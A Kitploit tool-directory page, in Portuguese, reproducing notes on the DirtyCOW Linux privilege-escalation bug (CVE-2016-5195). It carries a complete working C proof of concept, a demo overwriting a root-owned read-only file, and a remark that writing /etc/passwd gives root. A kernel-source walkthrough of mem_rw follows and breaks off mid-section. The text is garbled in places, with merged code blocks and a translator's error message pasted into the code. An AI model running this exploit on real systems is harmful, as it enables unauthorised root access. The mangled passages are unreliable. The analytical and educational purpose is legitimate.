Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2016-5195 — Notas do DirtyCOW | Kitploit
Ferramentas/GitHubGitHub/asuka39/cve-2016-5195
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubasuka39/cve-2016-5195

CVE-2016-5195

Notas do DirtyCOW

Ver Repositório
há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2016-5195 DirtyCOW

PoC

  • Modificado de dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

Desculpe, não há conteúdo para traduzir. O campo "INPUT:" está vazio. Por favor, forneça o texto em chinês (zh) para que eu possa traduzi-lo para português (pt).```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

Uma técnica de exploração bastante comum é escrever sem autorização em /etc/passwd para modificar o usuário root ou modificar as permissões do usuário a fim de escalar privilégios.

Análise

Análise do Exploit

Vamos primeiro ver o que o exp faz.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

- Primeiro, chamar pthread para criar duas threads
- Em seguida, `fopen` abre o arquivo de destino `argv[1]` somente leitura
- Mapear o arquivo na memória com `mmap` (endereço aleatório). `MAP_PRIVATE` cria um mapeamento de memória privado para a tarefa. Se outra tarefa tentar escrever nesta memória, o processo primeiro faz uma cópia antes de escrever, evitando assim gastar muito tempo e espaço para copiar todo o espaço de memória ao criar processos filhos ou threads, e garantindo que operações de memória concorrentes entre tarefas não interfiram umas nas outras. Isso é o CopyOnWrite
- Em seguida, iniciar duas threads: uma para executar `madviseThread` e outra para executar `procselfmemThread`

Depois, vejamos os corpos de execução das duas threads:

- Uma thread chama `madvise` no mapeamento do arquivo para informar o kernel sobre o uso da memória mapeada ou memória compartilhada. `MADV_DONTNEED` indica que essa região de memória não será mais usada e o kernel pode liberá-la
- A outra thread abre `/proc/self/mem` com permissões de leitura e escrita. Este arquivo é o mapeamento da memória virtual do próprio processo. Então ela tenta repetidamente escrever a informação alvo no arquivo```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

Finalmente, sob o bombardeio alternado de duas threads, o kernel apresentou uma vulnerabilidade de condição de corrida, e procselfmemThread conseguiu escrever em um arquivo somente leitura.

Análise do Kernel

  • Premissa fundamental: mmap apenas estabelece um mapeamento de memória no vma, mas não coloca realmente o arquivo mapeado em um quadro de página físico. Portanto, quando tentamos write no arquivo pela primeira vez, uma falha de página será inevitavelmente acionada.
  • A versão do kernel escolhida aqui é 4.4

O que acontece quando escrevemos

mem_rw

Começamos a análise a partir de write. Qualquer operação em um arquivo deve passar pela tabela virtual file_operations registrada no VFS pelo sistema de arquivos ao qual o arquivo pertence. Os arquivos em /proc são implementados pelo procfs. Encontrando proc_mem_operations, podemos ver que write está vinculado a mem_write.```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

`mem_write` é um wrapper para `mem_rw` (com o sinalizador `write` definido como 1). O fluxo principal de `mem_rw` é:

- Primeiro, `__get_free_page` aloca uma página livre temporária para atuar como buffer.
- Se for uma operação de escrita, `copy_from_user` copia os dados a serem escritos para a página temporária.
- Em seguida, `access_remote_vm` lê os dados do destino para a página livre (leitura) ou escreve o conteúdo do buffer no endereço de destino (escrita).
  - O termo "remote" se deve ao fato de que este processo pode ler ou escrever em arquivos mapeados na memória de outros processos, o que significa que o processo pode acessar o espaço de endereço de outros processos, ao contrário de outros sistemas de arquivos de memória.
- Se for uma operação de leitura, os dados lidos na etapa anterior para a página livre são copiados de volta para o buffer do usuário.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm é um wrapper para __access_remote_vm. O fluxo principal é:

Baixar ferramenta